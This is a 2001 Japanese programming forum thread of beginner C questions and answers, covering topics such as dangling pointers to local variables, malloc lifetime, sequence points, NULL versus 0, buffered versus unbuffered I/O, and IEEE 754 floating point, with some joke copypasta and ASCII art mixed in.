あまり頻繁に大きなサイズで呼び出さないほうが良いと思う。
素直にリンクリストでデータ要素をちまちま追加してくほうがいいよ。
どうしてもやりたいなら割り当てる単位を大きくしてなるべくreallocを
呼び出す回数を少なくする工夫が要ると思う。
ちなみに
Javaの可変配列Vectorの実装ではサイズが2^N乗を超えたときにrealloc相当の
処理をするようになってた。
これだとサイズが線形に増えたときlog2N回しかreallocしないかわりに最悪
メモリ使用効率が半分まで落ちることがある。
329 :
デフォルトの名無しさん :01/09/21 15:51
>>327 コードまでありがとうございます。参考にさせていただきます。
ここで、疑問なのですが、read_fileはローカル変数firstを
返していますよね。ここにもしかすると私の大きな勘違いが
あるのかもしれませんが、firstの指す実体はread_file()を
抜けた後でも残っているのでしょうか?
なぜそんな疑問を持ったのかというと(すいません、長くなるの
で投稿を分けます。)
330 :
デフォルトの名無しさん :01/09/21 15:52
このコードは動くのに: #include <stdio.h> int main(void) { char **p; char *array[3]; char *s, *t, *u; int i; s = "foo"; t = "bar"; u = "foobar"; array[0] = s; array[1] = t; array[2] = u; p = array; for (i = 0; i < 3; i++) { printf("(%d): '%s'\n", i, *p++); } return(0); }
331 :
デフォルトの名無しさん :01/09/21 15:52
このコードはSegmentation Faultを起こしてしまうからです。 #include <stdio.h> char **foo(void); int main(void) { char **p; int i; p = foo(); for (i = 0; i < 3; i++) { printf("(%d): '%s'\n", i, *p++); } return(0); } char **foo(void) { char **p; char *s, *t, *u; char *array[3]; s = "foo"; t = "bar"; u = "foobar"; array[0] = s; array[1] = t; array[2] = u; p = array; return p; }
そりゃあんさん、ローカル変数なんやから・・・
>>329 >>331 のコードだと、p の指す実体はローカル変数の array だ。
だから foo() から戻った時点で次元の狭間へ消えてしまう。
>>327 のなら、p の指す先はmallocで確保したバッファだ。
だから、自分で free() しない限りはずっと残ってる。
>>329 やっぱり「プログラミング言語C」を読み直した方が良いと思うが。。。
read_file() の先頭にあるように
first = malloc(sizeof(*prev));
first は malloc() で確保した領域へのポインタを返している。malloc()
で確保した領域の寿命は変数スコープに縛られないから問題なし。
問題となるのは、自動変数のアドレスを返す場合のみ。
次の例は NG
char *foo()
{
char c;
return (&c);
}
次の例は OK
char *foo()
{
char *p = malloc(sizeof(char));
return (p);
}
char *foo()
{
static char c;
return (&c);
}
335 :
デフォルトの名無しさん :01/09/21 16:01
>>333 ああ、なるほど。ようやくみなさんがmalloc()使え、とおっしゃることが
理解できました。どうもありがとうございました!!感謝します。
>>329 > firstの指す実体はread_file()を
> 抜けた後でも残っているのでしょうか?
mallocで確保した実体はfreeを呼び出したり、
プログラムが終了しない限り残ります。
ローカル変数は関数を抜けると自動的に破棄されます。
>>331 の例の場合、returnしたポインタがローカルに実体を持っているので
関数を抜けたときに実体が破棄され、破棄された実体を参照しようとしたため
Segmentation Faultが発生します。
ポインタを扱う場合、実体がどこにあるかを強く意識してください。
337 :
デフォルトの名無しさん :01/09/21 19:14
int x=3,y=5; ASSERT((++x*y+x)==24); これはカンキョウイゾンでしょうか?
>>337 たぶん ++x と x を一つの式で書いて良いのかと聞きたいのだと思うが、それ以前の
問題として
- assert() ではなく ASSERT() 使ってる時点で環境依存
- ASSERT() の中で x をインクリメントしているので、デバッグビルドとリリースビルド
で動作が変わってしまう
だよ。
339 :
デフォルトの名無しさん :01/09/21 19:33
川|川川 川 ‖川 | | | ー ー|| / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ 川川 | |ー□--□l < 「C言語ならオレに聞け!」っと・・・ 川川| | \ J/|| \________ 川川‖ | ロ|/| カタカタカタ 川川|‖\|__|l|l _____ /川川川__/川川 | | ̄ ̄\ \ | 川川| |/川l__,| | | ̄ ̄| | \_|__|_|、__| | |__| | \____|つ |__|__/ / | | | | ̄ ̄ ̄ ̄| 〔 ̄ ̄〕
340 :
デフォルトの名無しさん :01/09/21 19:43
>>338 ASSERTはクセでした。
if(...);
にかえてくだされ。
>>341 副作用があるから、処理系依存ってことでいいですか?
確か ++x * x みたいのはだめですよね?
>>342 しかしこの場合は++x*y+xなので、優先順位から言えば問題ないのでは?
if(x++==3 && x==4)ってオッケーでしょ?それともこれもだめ?
>>343 ヒント: sequence point
>>343 > ++x*y+xなので、優先順位から言えば問題ないのでは?
問題大あり
> if(x++==3 && x==4)ってオッケーでしょ?それともこれもだめ?
オッケー
違いが分からなければC-FAQの3章を分かるまで読め。
糞レスしてるよりは有意義な時間を過ごせる
348 :
デフォルトの名無しさん :01/09/22 13:41
--------------------------------------------------------------------------- あなた達には分からないでしょうが、Rubyは素晴らしい言語です。 オブジェクト指向スクリプト言語として他のスクリプト言語を圧倒する性能と美しい言語仕様を持っています。 例えば、SchemeやSmallTalkなどは比較的美しい言語だと言われていますが、後発である優位さでRubyは さらなる美しさと実用性を備えています。 もちろんPerlやPythonなど問題外です。 日本語との親和性ではRubyしか選択肢がないでしょう。 LinuxのディストリビューションもRubyの採用例が増えてきています。 1年後には全てのディストリビューションがRubyを標準採用するでしょう。 Rubyは未来のスクリプト言語なのです。 長くなりましたが、コピペではありません。 賛同していただける方はRubyの事を分かっていただけない人に出会ったら、 この発言をコピペしていただければ幸いです。
349 :
デフォルトの名無しさん :01/09/22 23:36
実は最近C言語を勉強し始めたのですが、 C言語でのNULLと0と'\0'の違いがわかりません。 NULLは、((void *)0)と定義されていましたが、 どういうことでしょうか? 実際プログラムで、((void *)0)を表示させると 私の環境では(null)と表示されました。 また、((void *)0)を((char *)0)とすると落ちました。 この違いもわからずさっぱりです。 すいませんが、教えてください。
>>349 0 と NULL は型が違うやね。
NULL はポインタが「何も指していない」ことを示すときに使う。
'\0' と 0 は両方整数型だが、文字列の終端を表す NUL 文字を表すときに
は前者、数値の 0 を表すときには後者を使うのが一般的。
あとは C FAQ 読みましょう。
351 :
デフォルトの名無しさん :01/09/23 06:50
LIBCD.lib(wincrt0.obj) : error LNK2001: 外部シンボル "_WinMain@16" は未解決です Debug/test.exe : fatal error LNK1120: 外部参照 1 が未解決です。 雑魚質問。 Borland C++ Compiler 5.5ではコンパイルできたけど、VC++6.0では上記のエラーが。 このエラー見ただけで理由分かるもんなの?
/link /subsystem:console
wWinMainCRTStartup なわけないか。 BCCって俺よくしらんのだけど、 wchar_tをどのくらいサポートしてんのかな。
354 :
デフォルトの名無しさん :01/09/23 18:17
プログラミング言語Cアンサーブックの中で広範囲に使われている getline(char line[], int maxline)って間違ってない? Cのバイブルといわれる本にこんな間違いがあっていいのでしょうか? int getline(char s[], int lim) { int c, i, j; j = 0; for(i = 0; (c = getchar()) != EOF && c != '\n'; ++i) if(i < lim -2){ s[j] = c; ++j; } if(c == '\n'){ s[j] = c; ++j; ++i; } s[j] = '\0'; return i; } retun されるiが'\0'を含んだり含まなかったりしてない?
>>354 返値は、s[] に読み込んだ文字数ではなくて
標準入力から取り出した文字数という仕様ではないのか。
そうでないと i と j を分けてる意味ねーし。
というか常に含んでないだろ。 どういう場合に'\0'を含んでるって言うんだ? それと、アンサーブック はバイブルじゃないだろ…。
常に含んでるよ。みんなどうしたの?
∧ ∧ ┌───────── ミ ´ー`ミ < Rubyはクソです。ゴミ箱逝きです。 いじょーヨ \ < └──/|──── \.\ ミ ミ \""""""""""/ ∪∪""∪∪ この発言をコピペしていただければ幸いです。
ほんとにC現gおやる気はあるんですが、入門書などを見ても、basicを経験してる事を前提としていて あまりわかりませんでした。 みんなは何からプログラム言語をはじめましたか?
386アセンブラからですが、何か?
N88-BASICからですが何か?
362 :
デフォルトの名無しさん :01/09/24 12:51
>359 >>入門書などを見ても、basicを経験してる事を前提としていて 何も知らない初心者向けのCの解説本もたくさんあるぞ。 もっと大きい本屋で探せ。
363 :
デフォルトの名無しさん :01/09/24 13:11
int *ma(){ int i; return &i; } これはありですか? ローカル変数のメモリは関数終了時に終わる気がするのですが・・・
364 :
デフォルトの名無しさん :01/09/24 13:14
当然無しだと思われます
365 :
デフォルトの名無しさん :01/09/24 13:17
コンパイルエラーでしょうか?
366 :
デフォルトの名無しさん :01/09/24 14:24
>>365 gccなら-Wallしてれば警告してくれそう。
367 :
デフォルトの名無しさん :01/09/24 14:28
どうでもいいけど、俺はK&R読む前に他の本をかなり目を通したぞ。 独習C、C言語アルゴリズム+徹底入門(いい本だった)、 cc&lint、C言語プログラミング(H.M.ダイテル+P.J.ダイテル)。 その後でK&R読んだ。 あと、FreeUNIXにはソースがついてるので、libcの中の 関数のソース読んだり。んで、コンピュータアーキテクチャ っていう本読んだり。大変だったが、面白いぞ。 他の言語とは違ってマシンを制御してるって実感が もてる。
368 :
デフォルトの名無しさん :01/09/24 14:46
visualC++で一般保護法違反がでてPCが固まったんですけどなんででしょうか?
>>368 それだけでは何がなんだかわからん。
1.自分の書いたプログラム実行中に固まった。→ソースコード見せろ。
2.プログラム実行以外の操作で固まった。 →固まる直前に行った操作を明記して、
VC++スレで質問しなおせ。
370 :
MONTE :01/09/24 15:16
プログラムを書いてコンパイルしようとしたら、Out of memory とエラーメッセージが出てしまいました。マニュアルにものって ないので困ってますが、単純にメモリー不足ということですよね。 どなたか詳しく教えてください。
371 :
デフォルトの名無しさん :01/09/24 15:30
プログラムの実行中に白い横長のダイアログが出てきて 閉じるを押したら、 一般保護法違反ですという警告が出てきて 詳細を見て閉じたら 画面が青い画面になってとまりました
372 :
デフォルトの名無しさん :01/09/24 15:32
373 :
デフォルトの名無しさん :01/09/24 16:03
read,write等の低水準入出力関数とprintf等の高水準入出力関数を併用していけないのはどうしてですか? またflush関数の役割がいまいちわかりません。 お願いします。
>>373 readとprintfはいっしょに使ってもいいじゃん
flushすると書き込むんだよ。closeしてもいいけど。
375 :
デフォルトの名無しさん :01/09/24 16:16
>>374 C++において
coutとprintfを併用した時のように
挙動が変になる事が多々ありませんか?
read はバッファリングしないけど printf はライブラリレベルでバッファリングしてます。 なので、いっしょに使うと printf 側がびっくりします。 ライブラリレベルでのバッファをフラッシュするのが fflush。 flush は知らないです。 printf と併用するなら、fread/fwrite あたりが吉。
377 :
デフォルトの名無しさん :01/09/24 16:34
>>376 レスありがとうございます。
write,readというのはカーネルレベルでもバッファリングしないのでしょうか?
あと、printfがびっくりする(笑 というのは具体的になにが行われるのでしょうか?
よろしくお願いします。
カーネルレベルでは、ブロックデバイスに対しての I/Oはバッファリングされますけれど、キャラクタデバイスは バッファリングされません。 [printf がびっくりする話] printf("hehe") バッファにためとく ↓ write("hoho") 出力されちゃう ↓ fflush/fclose いまごろ "hehe" が出力される ↓ 順番ちゃうやん 以上例えばの話 実際はもっとワケワカなことが起こるかも
>>378 解りやすくありがとうございました。
とても勉強になりました。
>>378 しつこくてすいません。最後に質問させてもらいます。
そこら辺の事を勉強するにはアセンブリの勉強をするのが得策でしょうか?
普通にUNIXやCの勉強をすれば良いと思います。 アセンブラがわかることは良いことですが、 この話にはあまり関係ないでしょう。 (...て、UNIXで良かったのかしら?)
>>370 >>370 関数が長すぎるとコンパイルできないコンパイラもあるって
聞いたことあるけど、それならマニュアルに書いてあるだろうし…。
いずれにせよコンパイル時にメモリが足りないといってきてるんだから、
ソースコードを適当に分割してコンパイルしてみてはどうだろうか?
>>381 度々ありがとうございました。
ちなみに私はLINUX房です。
>>371 一般保護違反って言うだけでは何が起こったか特定できないので、
そのソースコードを見ないと、誰も何も答えられないと思うよ。
>>380 ライブラリのソースコードを読むのがいいと思いますが。
*BSD なら /usr/src/lib/libc
VC6 なら C:\Program Files\Microsoft Visual Studio\VC98\CRT\SRC
あたりにインストールされてるでしょ。VC はデフォルトだとインストール
されないかも。
386 :
デフォルトの名無しさん :01/09/24 17:25
>>384 では一般的にどういう時に起こるのでしょう?
>>386 一般保護違反が出るケースは、
1 ポインタの使い方を間違った
2 メモリが腐ってる
3 電源容量が足りない
とか、いろいろあるけど。
388 :
デフォルトの名無しさん :01/09/25 16:21
C言語で、動画のように動くものを作りたいのですが、 どう考えていけばいいのでしょうか? できれば、そういうことについて載っている本につい ても教えてください。 OSは、Linuxを使ってやりたいと思っています。
389 :
デフォルトの名無しさん :01/09/25 18:55
もうちょい具体的に書け. ムービーの再生? 2D/3Dゲーム?
>>389 ぜんぜん大層なものではなく、科学技術計算で
リアルタイムな動きを追ってみたいのですが、
できれば、何かのライブラリを使うよりも、自分でいじりたいです。
これを通して、少し言語の勉強も兼ねられたらと思ってます。
391 :
デフォルトの名無しさん :01/09/26 11:43
配列A[100]の全てに文字 'a'を代入してくれる関数ってありますか? forループでまわせばいいのですが、Basicにそんな関数があった気がした のでもしやと思い質問しました。
>>391 無いと思うし、あっても使わないでしょ。
>391 memset を調べてごらん でも、CとかDelphiはコンパイラだから その程度の事はさっさと作ってしまってもいいんだよ
395 :
デフォルトの名無しさん :01/09/26 12:40
2進数に関して知りたいのです。整数がビット列としてどのよう に格納されているのかは、よく書籍などにも書いてあるので理解 したのですが、少数は2進数ではどのように表現するのでしょ う?たとえば、0.1や0.2は2進数ではどのように表現したらよい のでしょうか?また、float型やdouble型の文字列は、ビット列 としてどのように格納されているのでしょうか? float型やdouble型に対してビット演算を施そうとすると、コン パイラに怒られてしまうのですが、たとえば、"float f = 0.1" のfのビット列を表示させるプログラムはどのようにして作成し たらよいでしょうか? 初心者ですいません。教えてください。
少数 -> 小数 の間違いです。すいません。
>>395 小数の2進表記
0.5 -> 0.1
0.25 -> 0.01
0.75 -> 0.11
0.125 -> 0.001
浮動小数点の形式は何種類かある
まずはIEEE754を調べてみな
399 :
名無しさん :01/09/26 14:44
ある関数の逆ラプラス変換を行うC言語の関数とかありますか? ぜひお教えください。
>>397 >
http://www.pro.or.jp/~fuji/mybooks/cpro/cpro.4.2.3.html >URLに示したprmem()を参考にしろ。
ありがとうございます。大変参考になりました。
>1文字を2進数に変換する関数は宿題とする。
解いてみました。添削していただけると幸いです。
static char *ctobit(char *p, const unsigned char ch)
{
unsigned char tester;
char *q;
q = p;
tester = 1;
tester <<= 8 - 1;
while (tester != 0) {
if ((ch&tester) == 0) {
*q++ = '0';
}
else {
*q++ = '1';
}
tester >>= 1;
}
*q = '\0';
return p;
}
>>398 >まずはIEEE754を調べてみな
これは、どこで入手できるのでしょうか?
401 :
デフォルトの名無しさん :01/09/26 14:49
>>395 Float や double 型は既にポインタが示されてるし検索すればいいので
固定少数点による少数表現については 「好きなように」 が答えです
たとえば 0.1を 整数の1に対応づけて 1.0を整数の10と対応づけてもいいですしね
>>400 名前が示されているのだから検索してみようよ
>399 標準ではない パッケージがもしかするとどこかにあるかもしれないけど俺は知らない。 しかし、 それは数式処理という範疇だからMathematica / REDUCE / mathcad などの守備範囲に入る 素直にそっちを使った方がいいぞ
404 :
名無しさん :01/09/26 15:05
>>403 さん
逆ラプラス変換ですが、Mapleでできますか?
>>402 IEEE754がなにかの規格だということはわかったのですが、
その規格はどうやったら入手できるのかはわかりませんでした。。
Webでは入手できないもので、書店で注文すべきものなのでしょうか?
>>400 > 解いてみました。添削していただけると幸いです。
良いと思います。
>if ((ch&tester) == 0) {
> *q++ = '0';
>}
>else {
> *q++ = '1';
>}
は
*q++ = ((ch&tester) == 0 ? '0' : '1';
とも書けますが、趣味の問題でしょう。
407 :
デフォルトの名無しさん :01/09/26 17:29
GCCで日本語を使う方法ご存知の方がいたら教えていただけませんか? 文字列に全角カタカナの「ソ」とかがあるとコンパイラとおらないので 困っています。
>>409 ありがとうございます。メモリ上にどのように格納されているか
理解することができました。
もうすこし質問させてください。NaNとはなんでしょうか?バイアス
をかける理由がよくわからないのですが、NaNとInfinityを予約する
ためと考えてよいでしょうか?NaNやInfinityはどのように表現
されているのでしょうか?
初心者ですいません。よろしくお願いします。
>>410 NaN はエラーの検出を先送りにするために使われます。
0/0 とか ∞ - ∞ のような意味のない計算を行ったときに、あとで「計算途中で
エラーが発生した」ことをプログラマに伝えるために NaN という特殊な数値を設
定しておきます。
IEEE 754 だと NaN は
単精度
指数 255
仮数 !0
倍精度
指数 2047
仮数 !0
です。指数はそのままで仮数を 0 にすると ∞。
詳しくは、その筋の書籍を読んでください。数値計算の専門書ではありませんが、
パターソン&ヘネシーの「コンピュータの構成と設計」あたりは解説も丁寧で、学
習に適しているかと。
412 :
デフォルトの名無しさん :01/09/26 20:23
c言語で乱数やりたいんだけど、0〜32767の範囲になっちゃいます。 javaとかみたいに、0.0<=乱数<1.0って無理なんですか? 32767/32768>0.99996…なので純粋な乱数にはならないし。 ご教授願います。
413 :
デフォルトの名無しさん :01/09/26 20:39
>>408 なるほど!やってみたらできました。ありがとうございました。
414 :
デフォルトの名無しさん :01/09/26 20:49
>412 乱数を複数用意して、15bitづつシフトアップしたものをOR %で微調整可。
415 :
デフォルトの名無しさん :01/09/26 20:55
void *aaa; int ccc; aaa = &ccc; aaa += 0x100; とかってしてはいけないんでしょうか? VC++だとvoid*型のやつの演算はできないってエラーになります。 これって一般的なC/C++言語の規格なの? というのを疑問に思っているのですが....。
>>415 当然ダメですが。
次のコードをコンパイルしてアセンブラ出力見てみ。
char *cp;
int *np;
++cp;
++np;
別にアセンブラ出力でなくとも printf("%p\n", cp); cp++; printf("%p\n", cp); printf("%p\n", np); np++; printf("%p\n", np); でもいいと思うが...
あー、ありがとーございます。 なんか全くエラーでないコンパイラもあるんですよね。 ので疑問に思っただけです。
419 :
デフォルトの名無しさん :01/09/26 22:10
>>418 そのコンパイラで、
void *p = 0;
p++;
としたら、pはいくつになるのか?
420 :
デフォルトの名無しさん :01/09/26 22:29
void型へのポインタってどういう意味なんですか? それより、ソースの中で\ってどういう意味ですか?
>>420 さすがに、それは「プログラミング言語C」読め、で終わりだろ。
423 :
デフォルトの名無しさん :01/09/27 09:45
趣味でC言語をやっている者です。 初級は脱したと思うのですが、さらなるスキルアップのためにやるべき事は何でしょうか? 正直、中級上級者用の本は存在しませんよね?
>>423 K&R 読んだ?
アルゴリズムの本読んだ?
425 :
デフォルトの名無しさん :01/09/27 10:00
>>423 他人のソースコードを積極的に読み、
暇があれば何か新しいコードを書く。
426 :
デフォルトの名無しさん :01/09/27 12:28
>>426 FreeBSDのカーネルのソース
間違ってもMozilla6のソースは読むな
>>426 K&Rの練習問題をアンサーブックなしで全て解いてみろ。
# ちなみに俺は挫折した
429 :
デフォルトの名無しさん :01/09/27 16:19
教えて下さい。 long n = 0; double t = timeGetTime(); while( true ) printf( "%f", n++ / ( t - timeGetTime() ) ); 何が変? もしかして 「 t == timeGetTime() 」?
>>429 そのコードに何を期待しているのか不明。強いて言えばお前の頭が変。
431 :
デフォルトの名無しさん :01/09/27 16:33
>>429 while(true)で無限ループしてるね!
君の頭のなかもぐるぐるまわっているのかな?
まず何がしたいのかを書き出そう? 要求記述 例えば1ループに要する時間を測りたいならば。 double startTime=timeGetTime();/*おいこんな関数あったっけ?*/ long n; for(n=0;.......;n++) { ...... } double endTime=timeGetTime(); printf("%lf",(endTime-startTime)/(double)n); とすればいいやね! double は %lf だったっけ?
433 :
デフォルトの名無しさん :01/09/27 20:36
printf()では、doubleは%fよ。 scanf()では%lfなので注意。
解決しました。キャストの問題でした。 while( true ) printf( "%f", n++ / ( t - timeGetTime() ) ); ↓ while( true ) printf( "%f", n++ / ( double )( t - timeGetTime() ) ); timeGetTime() は time.h にあるはずです。 ミリ秒単位で時間を得られます。 無限ループですが、「 ctrl + c 」という必殺技があるので問題ありません。
435 :
ななしさん :01/09/28 02:46
ソートするプログラムの練習用に.配列にランダムな数字を入れてくれる関数 を作りたいと思います. 形式としてはCreateArray(int n)みたいにしてやって,引数nの数だけ array[0]からn個の配列を準備して,rand()で順次値を入れていき,配列 へのポインタを返す,というのを想定して書いてみたのですが,コンパイルす ると配列の量が決まってないとダメ,というようなことを言われてしまいます. エラーから推測するにコンパイルの時点でどれだけ割り当てるかを決めてない せいだと思うのですが,実行したときに臨機応変にやってくれるような巧い方 法ってありますか? ポインタを返されてからの処理にも困ってはいるのですが,とっかかりだけで も教えていただければと思うのですが・・・あとは調べてやってみたいと思い ますので,どなたかよろしくお願いします.
>>434 まず、timeGetTime()はWindowsのAPIだからmmsystem.hな。
あと、timeGetTime()の戻り値はdoubleじゃなくてDWORDな。
あと、tが本当にdouble型ならキャストしなくても自動的に変換されてるはずだと思うが?
437 :
C言語3日目 :01/09/28 04:58
>>435 Cなら、「malloc」を調べるべし。
C++なら new で。
>>429 のコードいじってて気づいたんだけど,
double a, b = 0.0;
a = 1.0 / b;
printf("gehehe");
ゼロ除算例外で実行が中断されることなく gehehe が出力されるっすね
これは C や C++ の仕様なんすか?
あー,自己レスー printf("%f", a); て出力してやると 1.#INF00 て出てきました そこはそれなりに考えてくれてるってことっすねー
>>440 この機会に IEEE754 について調べると、理解が深まると思うぞ。
443 :
デフォルトの名無しさん :01/09/28 11:13
3次元配列の初期化のやり方を教えてください。 int test[3][5][7] というのを定義したいとです。 添え字を左からx,y,zとしたばあい 2次元配列なら int test[3][5] = { { (x0.y0),(x0.y1),(x0.y2),(x0.y3),(x0.y4) }, { (x1.y0),(x1.y1),(x1.y2),(x1.y3),(x1.y4) }, { (x2.y0),(x2.y1),(x2.y2),(x2.y3),(x2.y4) } } というような感じで(x0.y0)のところに、 xが0でyが0の場合の値を入れればいいということは わかったのですが、3次元の場合(x0.y0.z0) どうすればいいのかわからないです。 よろしくお願いします。
/* 配列を確保する、確保できない場合、NULLを返す */ int *CreateArray(int n) { return (int *)malloc(sizeof(int) * n); } 使い終わったらfree()で解放したほうが良い。 /* 配列にランダムな値を設定する */ /* n は配列の要素数 */ void setRand(int *array, int n) { int i; for(i = 0; i < n; i++){ array[i] = rand(); } ま、確保と設定を同じ関数でやってもいいと思うが。
445 :
デフォルトの名無しさん :01/09/28 11:39
>>443 [3][5][7] なんて巨大な数字を例にするのはやめれ。
int test[4][3][2] = {
{ {0,0}, {0,0}, {0,0} },
{ {0,0}, {0,0}, {0,0} },
{ {0,0}, {0,0}, {0,0} },
{ {0,0}, {0,0}, {0,0} }
};
4次元配列なら、さらに { } が増えます。
>>443 > 3次元配列の初期化のやり方を教えてください。
> int test[3][5][7]
> というのを定義したいとです。
int test[2][3][4]を初期化します。
int test[3][5][7]は下記を適当に応用してください。
int test[2][3][4] = {
{
{ (x0.y0.z0),(x0.y0.z1),(x0.y0.z2),(x0.y0.z3) },
{ (x0.y1.z0),(x0.y1.z1),(x0.y1.z2),(x0.y1.z3) },
{ (x0.y2.z0),(x0.y2.z1),(x0.y2.z2),(x0.y2.z3) },
},
{
{ (x1.y0.z0),(x1.y0.z1),(x1.y0.z2),(x1.y0.z3) },
{ (x1.y1.z0),(x1.y1.z1),(x1.y1.z2),(x1.y1.z3) },
{ (x1.y2.z0),(x1.y2.z1),(x1.y2.z2),(x1.y2.z3) },
},
};
447 :
デフォルトの名無しさん :01/09/28 11:49
どうやってC言語を覚えてるのですか?
448 :
デフォルトの名無しさん :01/09/28 11:54
449 :
デフォルトの名無しさん :01/09/28 11:55
K&Rをちゃんと全部読む
>>447 毎日使ってれば勝手に覚える。日本語と同じ
ある程度使いこなせると思ったらK&Rを読んでみろ
より一段深い知識が身につけられるだろう
私はCの文法はこれで足りると思っている。
関数などは全部など覚えていないし、覚える必要もない。
リファレンスマニュアルとか検索エンジンで調べる。
分からない単語は辞書をつかって調べるのと同じ。
また、人のソースを読め。
偉大な文豪は同時に読書家であり、話し上手は聞き上手の人が多い。
はっとさせられる表現、考え方は素直に取り入れろ、
読みにくい、分かりにくいソースに出会ったとき、
どうすれば読みやすく、分かりやすいソースになるか考えろ。
良いソースも悪いソースも君の成長に一役買ってくれることだろう。
453 :
デフォルトの名無しさん :01/09/28 13:03
454 :
デフォルトの名無しさん :01/09/28 13:22
プログラム中から別のプログラムを実行する方法を教えて下さい お願いします
>>454 まず、system関数を調べてみろ。
次にもう少し高度な方法として
DOS(LSI-C)系:spawnl,spawnlp,spawnv,spawnvp,spawnle,
spawnlpe,spawnve,spawnvpe
Unix(posix)系:execve, execlp, execvp,execl, execv,
execle, exect
とかいうのもある。
>>455 ありがとうございます、早速調べてみます
457 :
デフォルトの名無しさん :01/09/28 17:58
age
459 :
デフォルトの名無しさん :01/09/28 23:28
文字列リテラルの有効範囲について質問です。 void abc(char *sz){ sz = "ABCDEFG"; return; } int main(void){ char *a; abc(a); return 0; } とあった場合、関数abc()内の文字列リテラル"ABCDEFG"は、いつまでメモリ上に存在するのですか? ・"ABCDEFG"が書かれた行だけ ・関数abc()が終了するまで ・プログラムが終了するまで のどれかだと思うのですが、正確な仕様などは決まっているのでしょうか。
460 :
デフォルトの名無しさん :01/09/28 23:32
461 :
デフォルトの名無しさん :01/09/29 02:27
>>459 そのコードだと、main() で abc(a); から帰ってきた後の a の値はゴミであることに注意せよ。
>>459 "ABCDEFG"はプログラムが終了するまでメモリに存在するが、それを
「szが指している」という事実は関数abcの中でしか通用しない。
463 :
C始めてです。 :01/09/29 09:06
main() { char to*[]; copy(to); } copy(char *to[]) { strcpy(to[0], "AAA"); <-こんな事できるんですか? strcpy(to[1], "BBB"); strcpy(to[n], "ZZZ"); } 領域は確保されているんですか? アドバイスお願いします。
>>463 家、領域が確保されていないので実行時にエラーとなります(エラーチェックが
あまり環境だと、メモリを壊しつつプログラムが暴走します)。
-------------------------------
#include <stdlib.h>
#include <string.h>
void
copy(char *to[])
{
to[0] = strdup("AAA");
to[1] = strdup("BBB");
to[2] = strdup("ZZZ");
}
int
main(void)
{
char *to[3];
copy(to);
return (0);
}
-------------------------------
プログラムを打ち込むアプリケーションは何が良いですか?
>>465 エディタとして、何を使うべきかという話ですか?
467 :
デフォルトの名無しさん :01/09/29 09:59
>>463 >char to*[];
そもそも↑こんなコードはコンパイルできないぞ
468 :
デフォルトの名無しさん :01/09/29 10:00
>>465 最悪メモ帳でも書けるが・・・さすがにちとツライかな・・・オートインデントさえあれば、どんなエディタでも。
MS-DOSの頃はelis使ってたなー。 多分、Vzが代表的だったんだが…。 そもそも、窓なら統合環境使うのが一番いいよな。 無料コンパイラ使ってるならそうはいかないだろうが…。
エディタの話は宗教論争になりそうな、そんな予感。 環境や使っている処理系にも拠ると思いますしC言語固有のネタでもないので、 続けるなら別スレで……。エディタのスレッドってありませんでしたっけ?
>>460 ,461,462
レスありがとうございます。
勉強になります。
472 :
デフォルトの名無しさん :01/09/29 21:03
xyzzy以外に考えられない
ただ窓で純粋なC言語をやる気にもならない そういうわけでLINUX+emacs
474 :
デフォルトの名無しさん :01/09/30 00:58
たとえばcalとかのプログラムのソースリストはどうすればわかるの?
475 :
デフォルトの名無しさん :01/09/30 01:00
落としてくる。
476 :
デフォルトの名無しさん :01/09/30 01:26
あの、すいませんが質問です 二つのtxtファイルがあって その二つの共通部分を表示させたいんですが date1.txtの内容が aaaa cccc eeee ffff date2.txtの内容が bbbb dddd ffff hhhh としてdate1.txtとdate2.txtの共通部分である ffffを変数に取り込むにはどうしたら言いのでしょうか
s=ffff
>>477 いや、そうじゃなくて
二つのファイルから共通部分を取り出したいんです。
教えてください。
一行づつ読んで比較すれば良いじゃん
それどうやるのですか?
482 :
まわりくどいが :01/09/30 04:23
uniq date1.txt > d1 uniq date2.txt > d2 sort d1 d2 | uniq -d
>>481 ∧_∧ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
( ・∀・)< 勉強の邪魔だから静かにおながいします。
_φ___⊂)__ \_______________
/旦/三/ /|
| ̄ ̄ ̄ ̄ ̄| |
|愛媛みかん|/
484 :
デフォルトの名無しさん :01/09/30 15:30
共用体やビットフィールドは実務の場面で使うことはあるのですか? あと、メンバが1個の構造体、 typedef struct{ char sample[10]; } SAMPLE_ST; このようなものをたまに見ますが、これは何の意味が合って構造体にしているのですか? 単にわかりやすくするため?
>>484 ビットフィールド、使えないこともないと思うが論理積を使用してチェックする方が一般的かも
構造体は書いた人に聞いてくれ。
typedef char[10] SAMPLE_STで良いと思うんだが。
486 :
デフォルトの名無しさん :01/09/30 15:35
>>484 共用体
任意の表示オブジェクトを格納する配列でつかったことがある。
ビットフィールド
圧縮で使った事が有る。
1個の構造体
あとでメンバー追加するかもしれんし。
>>464 例えば
void f(char sample[10]){...}
よりも
void f(struct SAMPLE_ST *s){...}
の方が応用や再利用が利く使い方だからです。
例えば
typedef struct{
char sample[10];
int number;
} SAMPLE_ST
のように書きかえたときプログラムの変更を最小限にすることができます。
逆に構造体を使わない場合、プログラムの無数の個所を直す必要が生じます。
>485〜487 なるほど、メンバを後から追加することまで考えているのか……。 参考になりました。 とりあえずお礼まで。
489 :
デフォルトの名無しさん :01/09/30 17:51
構造体にすると struct SAMPLE_ST a=b; みたく、配列全体を一瞬でコピーできるようになる。
490 :
デフォルトの名無しさん :01/09/30 21:19
>>489 それはそうなんだけど、
そのためだけに構造体にする奴は逝っていいんじゃないか?
あ、ネタだったらごめん。
その程度なら、マクロで充分
すまんです。 独学でCを始めたので(プログラム経験なし) 質問内容も曖昧かもしれませんがお許し下さい。 LSIのコンパイラをDLしたのですが long int って予約語(?)はLSIでは使えないのでしょうか? int と同じ桁数しか表示できません。 外出かも知れませんが過去ログが膨大で ちょっと調べるのが億劫だったので 皆様のお知恵を拝借させてください。 お暇な方 よろしくお願いします。
%ld使え、ってオチ?
>>493 > int と同じ桁数しか表示できません。
これの意味が分からない。
もし、
int i = 10;
long l = 10;
printf("i = %d l = %d\n", i, l);
ならば、同じ桁数しか表示しない。
ちなみに内部表現のことを言っているのだったらLSI-Cの場合、
int 16bit long 32bitなのでbit数は違う
496 :
名無しさん :01/10/01 21:20
確立1/3で+1 2/3で+0 っていうふうにするにはどうするの?
497 :
名無しさん :01/10/01 21:26
詳しく書くと、 ある変数Aに 確立1/3で A+1 確立2/3で A+0 という風にしたいのです。 確立xというのが分かりません。 へぼくてごめんなさい。
498 :
名無しさん :01/10/01 21:37
age
